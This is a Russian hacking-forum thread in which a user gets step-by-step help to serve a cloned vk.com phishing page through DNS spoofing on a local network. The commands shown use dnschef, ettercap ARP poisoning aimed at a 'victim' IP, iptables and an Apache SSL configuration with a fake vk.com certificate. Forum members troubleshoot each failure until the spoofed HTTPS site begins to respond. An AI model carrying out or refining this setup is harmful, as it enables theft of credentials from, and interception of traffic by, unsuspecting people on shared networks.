Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Песочница (https://forum.antichat.xyz/forumdisplay.php?f=189)
-   -   не открывается фейк при dns подмене (https://forum.antichat.xyz/showthread.php?t=468179)

bot_st 21.01.2019 02:14

Добрый вечер, хотел поделиться такой проблемой. Делаю подмену dns в локалке на примере vk.com, вот мой алгоритм действий.

1) Поставил последнюю kali и обновил

2) Создал фейк вк через httrack и закидываю всё созданное в /var/www/html/

3) Поднимаю сервер командой: service apache2 start

4) Прописываю в роутере первичный dns ip своей тачки (пример 192.168.1.100), вторичный dns 8.8.8.8

5) Запускаю dnschef командой: dnschef -i 192.168.1.100 --fakeip 192.168.1.100 --fakedomains vk.com

Если вводить прямой ип тачки то открывается фейк, но если пытаться открыть вк как обычно (vk.com) или через гугл, то пишет что страница недоступна, кроме прямого ип фейк никак не хочет открываться.

Я подробно описал свой алгоритм действий для того, чтобы вы могли увидеть на каком этапе я мог накосячить. В чём проблема?

BillyBons 21.01.2019 03:31

ping vk.com что выдает ?

bot_st 21.01.2019 10:22

Пинг вроде как идёт нормально, ip тачки на данный момент 192.168.0.103

Но всё же (видно на втором скрине), фейк молчит, есть подозрения на сервер apache

BillyBons 21.01.2019 12:16

Цитата:

Сообщение от bot_st
bot_st said:

Пинг вроде как идёт нормально, ip тачки на данный момент 192.168.0.103
Но всё же (видно на втором скрине), фейк молчит, есть подозрения на сервер apache

Понятно.

А если указать localhost в адресной строке браузера - что открывается ?

bot_st 21.01.2019 13:46

Цитата:

Сообщение от BillyBons
BillyBons said:

Понятно.
А если указать localhost в адресной строке браузера - что открывается ?

Открывается фейк

BillyBons 21.01.2019 14:11

Цитата:

Сообщение от bot_st
bot_st said:

Открывается фейк

Понятно.

1.

telnet 192.168.0.103 443 и telnet 192.168.0.103 80 что говорят ? Порты открыты ?

2.

При обращении в браузере tcpdump -i eth0 (Ваше имя интерфейса) port 80 -w file.pcap записать и выложить сможете ?

bot_st 21.01.2019 15:42

Вроде как только 80 открыт порт, вот скрины и файл

https://drive.google.com/open?id=1NJ...yMtGjBK-MQkx-W

M_script 21.01.2019 16:20

Цитата:

Сообщение от bot_st
bot_st said:

Вроде как только 80 открыт порт

А пытаешься зайти на 443. Открывай http://vk.com/

bot_st 22.01.2019 01:55

т.е. если я открою 443 от и https заработает? Открывать порт через iptables?

BabaDook 22.01.2019 04:11

Цитата:

Сообщение от bot_st
bot_st said:

т.е. если я открою 443 от и https заработает? Открывать порт через iptables?

У тебя сервер на каком порту работает?

bot_st 22.01.2019 09:51

Цитата:

Сообщение от BabaDook
BabaDook said:

У тебя сервер на каком порту работает?

на 80

apache2 3174 www-data 4u IPv6 50287 0t0 TCP *:80 (LISTEN)

А теперь глупенький вопрос, как мне запустить апач на 443 порту? ну или как сделать, что бы мой план-капкан работал при переходе на https://vk.com?

Ну или скиньте хотя бы мануал про апач и 443 порт пожалуйста

BabaDook 22.01.2019 11:47

Цитата:

Сообщение от bot_st
bot_st said:

на 80
apache2 3174 www-data 4u IPv6 50287 0t0 TCP *:80 (LISTEN)
А теперь глупенький вопрос, как мне запустить апач на 443 порту? ну или как сделать, что бы мой план-капкан работал при переходе на
https://vk.com?
Ну или скиньте хотя бы мануал про апач и 443 порт пожалуйста

python -m SimpleHTTPServer 443

bot_st 22.01.2019 12:02

Цитата:

Сообщение от BabaDook
BabaDook said:

python -m SimpleHTTPServer 443

А через iptables не надо ничего делать?

И я так понимаю это будет сервер на питоне, в этом случае в какую директорию запихивать свой фейк?

BabaDook 22.01.2019 12:53

Rambler.ru

bot_st 22.01.2019 19:43

Запустил всё же не на питоне, а на апаче, прокинул в iptables 443 порт, теперь слушается и повторив все свои танцы с бубном, которые я описывал в начале я получил ...

Я так понимаю мы плавно перешли к ssl и самописному сертификату?

M_script 22.01.2019 20:20

Цитата:

Сообщение от bot_st
bot_st said:

прокинул в iptables 443 порт, теперь слушается

Теперь сервер на 443 порту ждет HTTP? Выложи скрин запроса на http://vk.com:443/

bot_st 22.01.2019 22:37

Цитата:

Сообщение от M_script
M_script said:

Теперь сервер на 443 порту ждет HTTP? Выложи скрин запроса на
http://vk.com:443/

всё то же самое, ей богу я уже готов заплатить, что бы кто то помог мне разобраться с этой хренью

https://drive.google.com/open?id=1CE...Kr8SUTMpX5d2sS

Water 23.01.2019 03:10

https://www.gadgetstyle.com.ua/46792...-long-firefox/

https://stackoverflow.com/questions/...and-apache-ssl

bot_st 23.01.2019 15:25

Граждане, вы мне подскажите, вобще подмена dns щас актуальна? а то может я зря только копаю в эту сторону и щас dns подмена не особо востребовательна?

M_script 23.01.2019 16:25

Цитата:

Сообщение от bot_st
bot_st said:

Граждане, вы мне подскажите, вобще подмена dns щас актуальна? а то может я зря только копаю в эту сторону и щас dns подмена не особо востребовательна?

Сейчас отличается только тем, что большинство сайтов работают через https, а твой фейк будет на http или с самоподписанным сертификатом.

bot_st 23.01.2019 16:53

Цитата:

Сообщение от M_script
M_script said:

Сейчас отличается только тем, что большинство сайтов работают через https, а твой фейк будет на http или с самоподписанным сертификатом.

Ну т.е. я в правильном направлении копаю? Я поднял апач на 443 порте и теперь мне нужно создать и выпустить самоподписанный сертификат? А запустить фейк на http я не могу, не получается, появляются проблемы, которые я описал выше, пишет, что сайт недоступен

M_script 23.01.2019 17:28

Цитата:

Сообщение от bot_st
bot_st said:

А запустить фейк на http я не могу

Запустить можешь. Но http://vk.com/ всегда редиректит на htttps, поэтому в истории браузера сохраняются ссылки только https://vk.com. Если человек никогда не заходил на vk.com со своего браузера, при вводе адреса vk.com, он попадет на твой фейк http://vk.com. Если заходил - попадет на https://vk.com/. При переходе по прямой ссылке http://vk.com/ тоже должен открываться фейк без редиректа.

Экспериментируй с разными вариантами, не надо упираться в один.

bot_st 23.01.2019 17:48

Цитата:

Сообщение от M_script
M_script said:

Запустить можешь. Но
http://vk.com/
всегда редиректит на htttps, поэтому в истории браузера сохраняются ссылки только
https://vk.com
. Если человек никогда не заходил на vk.com со своего браузера, при вводе адреса vk.com, он попадет на твой фейк
http://vk.com
. Если заходил - попадет на
https://vk.com/
. При переходе по прямой ссылке
http://vk.com/
тоже должен открываться фейк без редиректа.
Экспериментируй с разными вариантами, не надо упираться в один.

нет, всё не так, я заходил с браузеров, с которых не разу в вк не заходил, переходил по прямой ссылке http://vk.com/ и тоже сайт не отвечает, я3 поста назад заснял видео с экрана на котором было видно, что я напрямую тоже вводил и http://vk.com/ иhttp://vk.com:443/

M_script 23.01.2019 18:09

На видео ты подменял DNS, но не чистил DNS-кеш. Может поэтому.

bot_st 24.01.2019 10:29

Цитата:

Сообщение от M_script
M_script said:

На видео ты подменял DNS, но не чистил DNS-кеш. Может поэтому.

Почистил кэш, повторил действия, проблема осталась.

Попробовал другой метод, без вписания ип тачки в роутер, запускаю апач, запускаю dnsspoof, потом ettercap, там target 1 я выбираю ип жертвы, target 2 ип роутера, в плагинах выбираю dnsspoof и начинаю сниффинг (прописав предварительно в etter.conf и etter.dns нужные параметры) по идеи у парней с ютубчика работает, запускаю у себя и ... при переходе на vk.com сайт впадает в бесконечную загрузку, хотя пинганул и всё проходит как надо - vk.com идёт на ип моей тачки, а всё остальное идёт по своим ип. Подозреваю, что у меня какие то траблы с апачем (хотя ради чистоты эксперимента я пытался сделать всё тоже самое на виртуалке с чистой kali)

fandor9 24.01.2019 13:07

Цитата:

Сообщение от bot_st
bot_st said:

Почистил кэш, повторил действия, проблема осталась.
Попробовал другой метод, без вписания ип тачки в роутер, запускаю апач, запускаю dnsspoof, потом ettercap, там target 1 я выбираю ип жертвы, target 2 ип роутера, в плагинах выбираю dnsspoof и начинаю сниффинг (прописав предварительно в etter.conf и etter.dns нужные параметры) по идеи у парней с ютубчика работает, запускаю у себя и ... при переходе на vk.com сайт впадает в бесконечную загрузку, хотя пинганул и всё проходит как надо - vk.com идёт на ип моей тачки, а всё остальное идёт по своим ип. Подозреваю, что у меня какие то траблы с апачем (хотя ради чистоты эксперимента я пытался сделать всё тоже самое на виртуалке с чистой kali)

less /etc/apache2/sites-enabled/* ?

bot_st 24.01.2019 16:35

Цитата:

Сообщение от fandor9
fandor9 said:

less /etc/apache2/sites-enabled/* ?

# The ServerName directive sets the request scheme, hostname and port that

# the server uses to identify itself. This is used when creating

# redirection URLs. In the context of virtual hosts, the ServerName

# specifies what hostname must appear in the request's Host: header to

# match this virtual host. For the default virtual host (this file) this

# value is not decisive as it is used as a last resort host regardless.

# However, you must set it for any further virtual host explicitly.

#ServerName www.example.com

ServerAdmin webmaster@localhost

DocumentRoot /var/www/html

# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,

# error, crit, alert, emerg.

# It is also possible to configure the loglevel for particular

# modules, e.g.

#LogLevel info ssl:warn

ErrorLog ${APACHE_LOG_DIR}/error.log

CustomLog ${APACHE_LOG_DIR}/access.log combined

# For most configuration files from conf-available/, which are

# enabled or disabled at a global level, it is possible to

# include a line for only one particular virtual host. For example the

# following line enables the CGI configuration for this host only

# after it has been globally disabled with "a2disconf".

#Include conf-available/serve-cgi-bin.conf

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

bot_st 24.01.2019 17:09

нашёл одну вещь, скажите она у всех так или только у меня.

прописывая service apache2 status увидел такую строчку

kali apachectl[2524]: AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message

fandor9 24.01.2019 17:50

Цитата:

Сообщение от bot_st
bot_st said:


# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
#ServerName
www.example.com
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

-> ServerName vk.com

bot_st 24.01.2019 18:42

Цитата:

Сообщение от fandor9
fandor9 said:

-> ServerName vk.com

Это надо вставить или переделать и раскомментировать строчку "#ServerName www.example.com" ?

fandor9 24.01.2019 19:22

Цитата:

Сообщение от bot_st
bot_st said:

Это надо вставить или переделать и раскомментировать строчку "#ServerName
www.example.com" ?

Да, раскомментируйте строчку ServerName и замените www.example.com на vk.com

и перезагрузите Апач

bot_st 24.01.2019 22:38

Цитата:

Сообщение от fandor9
fandor9 said:

Да, раскомментируйте строчку ServerName и замените
www.example.com
на vk.com
и перезагрузите Апач

Сделал, снова, все сайты открываются, vk.com 'Не удаётся открыть страницу'. Хотя если я ввожу локальный ип кали то фейк открывается. Почему то именно если вводить домен - не работает, а если чисто ип то открывает

fandor9 24.01.2019 22:41

Цитата:

Сообщение от bot_st
bot_st said:

Сделал, снова, все сайты открываются, vk.com 'Не удаётся открыть страницу'. Хотя если я ввожу локальный ип кали то фейк открывается. Почему то именно если вводить домен - не работает, а если чисто ип то открывает

что вам выдаёт

Код:

Code:
curl -vv http://vk.com/

и

Код:

Code:
curl -vv https://vk.com/

?

M_script 24.01.2019 23:48

Цитата:

Сообщение от bot_st
bot_st said:


# The ServerName directive sets the request scheme, hostname and port that
...

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

А где ?

bot_st 25.01.2019 09:25

Цитата:

Сообщение от fandor9
fandor9 said:

что вам выдаёт
Код:

Code:
curl -vv http://vk.com/

и
Код:

Code:
curl -vv https://vk.com/

?

curl -vv http://vk.com/ выдаёт скелет страницы фейка, а вот история с https

root@kali:~# curl -vv https://vk.com/

* Trying 192.168.0.103...

* TCP_NODELAY set

* connect to 192.168.0.103 port 443 failed: В соединении отказано

* Failed to connect to vk.com port 443: В соединении отказано

* Closing connection 0

curl: (7) Failed to connect to vk.com port 443: В соединении отказано

как это пофиксить?

bot_st 25.01.2019 10:29

Цитата:

Сообщение от M_script
M_script said:

А где ?

Это вставить сразу после "*:80" ?

bot_st 25.01.2019 12:06

Итоги после недавних опытов.

Настройки были таковы:

1)В файле less /etc/apache2/sites-enabled/* раскомментировал и изменил строчку #ServerName www.example.com на ServerName vk.com, а начало файла теперь выглядит так ""

2) Открыл 443 порт командой iptables -I INPUT -p tcp --dport 443 -j ACCEPT, затем командой a2enmod ssl включил модуль ssl, чтобы апач слушал 443 порт

3) Дабы проверить прослушиваемые порты ввёл команду lsof -nP -i, вот результат:

apache2 3722 www-data 4u IPv6 63084 0t0 TCP *:80 (LISTEN)

apache2 3722 www-data 6u IPv6 63088 0t0 TCP *:443 (LISTEN)

4) В роутере поменял ип днс, запустил апач командой service apache2 start, далее запустил днсчеф командой dnschef -i 192.168.0.103 --fakeip 192.168.0.103 --fakedomains vk.com, прослушка траффика пошла, вижу запросы

5) Далее, чтобы убедиться, что все остальные сайты кроме vk.com открываются нормально, а vk.com фейково ввожу команду ping, результаты:

PING google.com (173.194.44.68) 56(84) bytes of data.

64 bytes from 173.194.44.68 (173.194.44.68): icmp_seq=1 ttl=116 time=11.6 ms

PING vk.com (192.168.0.103) 56(84) bytes of data.

64 bytes from kali (192.168.0.103): icmp_seq=1 ttl=64 time=0.030 ms

6)Результаты команды curl -vv https://vk.com/ (пишу только результаты https, потому что http показывает скелет фейка сайта, а он слишком большой для данного поста)

* Trying 192.168.0.103...

* TCP_NODELAY set

* Connected to vk.com (192.168.0.103) port 443 (#0)

* ALPN, offering h2

* ALPN, offering http/1.1

* successfully set certificate verify locations:

* CAfile: none

CApath: /etc/ssl/certs

* TLSv1.3 (OUT), TLS handshake, Client hello (1):

* error:1408F10B:SSL routines:ssl3_get_record:wrong version number

* Closing connection 0

curl: (35) error:1408F10B:SSL routines:ssl3_get_record:wrong version number

7)Результаты команды telnet 192.168.0.103 80

Trying 192.168.0.103...

Connected to 192.168.0.103.

Escape character is '^]'.

Connection closed by foreign host.

И результат команды 192.168.0.103 443

Trying 192.168.0.103...

Connected to 192.168.0.103.

Escape character is '^]'.

Connection closed by foreign host.

8)Заметил такой факт, что при запуске команды service apache2 status присутствует такая строчка:

kali apachectl[3712]: AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message

9)Тестирую, работает ли фейк, ввожу в адресной строке браузера localhost и 192.168.0.103, фейк открывается

10)Ну и собственно, чищу днс кэш командой /etc/init.d/networking restart (на линукс) и ipconfig /flushdns (на винде) и пробую запустить вк в браузере:

Ошибка при установлении защищённого соединения

При соединении с vk.com произошла ошибка. SSL получило запись, длина которой превышает максимально допустимую. Код ошибки: SSL_ERROR_RX_RECORD_TOO_LONG

Господа, после всей изложенной информации у Вас есть ещё варианты как это пофиксить, прилизать и пригладить для корректной работы? ))) Быть может я ошибся в командах или где то не увидел ошибку, пожайлуста помогите

fandor9 25.01.2019 13:54

Цитата:

Сообщение от bot_st
bot_st said:

Итоги после недавних опытов.
Настройки были таковы:
1)
В файле less /etc/apache2/sites-enabled/* раскомментировал и изменил строчку #ServerName
www.example.com
на ServerName vk.com, а начало файла теперь выглядит так ""
2)
Открыл 443 порт командой iptables -I INPUT -p tcp --dport 443 -j ACCEPT, затем командой a2enmod ssl включил модуль ssl, чтобы апач слушал 443 порт
3)
Дабы проверить прослушиваемые порты ввёл команду lsof -nP -i, вот результат:
apache2 3722 www-data 4u IPv6 63084 0t0 TCP *:80 (LISTEN)
apache2 3722 www-data 6u IPv6 63088 0t0 TCP *:443 (LISTEN)
4)
В роутере поменял ип днс, запустил апач командой service apache2 start, далее запустил днсчеф командой dnschef -i 192.168.0.103 --fakeip 192.168.0.103 --fakedomains vk.com, прослушка траффика пошла, вижу запросы
5)
Далее, чтобы убедиться, что все остальные сайты кроме vk.com открываются нормально, а vk.com фейково ввожу команду ping, результаты:
PING google.com (173.194.44.68) 56(84) bytes of data.
64 bytes from 173.194.44.68 (173.194.44.68): icmp_seq=1 ttl=116 time=11.6 ms
PING vk.com (192.168.0.103) 56(84) bytes of data.
64 bytes from kali (192.168.0.103): icmp_seq=1 ttl=64 time=0.030 ms
6)
Результаты команды curl -vv
https://vk.com/
(пишу только результаты https, потому что http показывает скелет фейка сайта, а он слишком большой для данного поста)
* Trying 192.168.0.103...
* TCP_NODELAY set
* Connected to vk.com (192.168.0.103) port 443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* successfully set certificate verify locations:
* CAfile: none
CApath: /etc/ssl/certs
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* error:1408F10B:SSL routines:ssl3_get_record:wrong version number
* Closing connection 0
curl: (35) error:1408F10B:SSL routines:ssl3_get_record:wrong version number
7)
Результаты команды telnet 192.168.0.103 80
Trying 192.168.0.103...
Connected to 192.168.0.103.
Escape character is '^]'.
Connection closed by foreign host.
И результат команды 192.168.0.103 443
Trying 192.168.0.103...
Connected to 192.168.0.103.
Escape character is '^]'.
Connection closed by foreign host.
8)
Заметил такой факт, что при запуске команды service apache2 status присутствует такая строчка:
kali apachectl[3712]: AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
9)
Тестирую, работает ли фейк, ввожу в адресной строке браузера localhost и 192.168.0.103, фейк открывается
10)
Ну и собственно, чищу днс кэш командой /etc/init.d/net
https://help.ubuntu.ru/wiki/apache2
working restart (на линукс) и ipconfig /flushdns (на винде) и пробую запустить вк в браузере:
Ошибка при установлении защищённого соединения
При соединении с vk.com произошла ошибка. SSL получило запись, длина которой превышает максимально допустимую. Код ошибки: SSL_ERROR_RX_RECORD_TOO_LONG
Господа, после всей изложенной информации у Вас есть ещё варианты как это пофиксить, прилизать и пригладить для корректной работы? ))) Быть может я ошибся в командах или где то не увидел ошибку, пожайлуста помогите

Вы сейчас пускаете Апач без SSL на 443 порту, поэтому и вылазит везде ошибка, а вот если зададите http://vk.com:443/ то у вас появится копия vk.com.

Редактируйте файл конфига апача под /etc/apache2/sites-enabled/*

поменяйте снова на

и добавьте в конце после

Код:

Code:

SSLEngine on
SSLCertificateFile /etc/ssl/fake_vk.com.cert # Измените на путь, где лежит ваш фэйковый сертификат
SSLCertificateKeyFile /etc/ssl/fake_vk.com.key # Измените на путь, где лежит ключ к клюху к вашему фейковому сертификату

ServerAdmin root@localhost
ServerName vk.com

DocumentRoot /var/www/html

затем активируйте конфиг

Код:

Code:
service apache2 restart

Ну и посмотрите как минимум https://help.ubuntu.ru/wiki/apache2

bot_st 25.01.2019 14:47

Цитата:

Сообщение от fandor9
fandor9 said:

Вы сейчас пускаете Апач без SSL на 443 порту, поэтому и вылазит везде ошибка, а вот если зададите
http://vk.com:443/
то у вас появится копия vk.com.
Редактируйте файл конфига апача под /etc/apache2/sites-enabled/*
поменяйте снова на
и добавьте в конце после
Код:

Code:

SSLEngine on
SSLCertificateFile /etc/ssl/fake_vk.com.cert # Измените на путь, где лежит ваш фэйковый сертификат
SSLCertificateKeyFile /etc/ssl/fake_vk.com.key # Измените на путь, где лежит ключ к клюху к вашему фейковому сертификату

ServerAdmin root@localhost
ServerName vk.com

DocumentRoot /var/www/html

затем активируйте конфиг
Код:

Code:
service apache2 restart

Ну и посмотрите как минимум
https://help.ubuntu.ru/wiki/apache2

Дело двинулось с мёртвой точки, в этот раз исход был таков:

fandor9 25.01.2019 15:33

Цитата:

Сообщение от bot_st
bot_st said:

Дело двинулось с мёртвой точки, в этот раз исход был таков:

ну теперь дело в сертификате, это уже с апач не связано.


Время: 02:08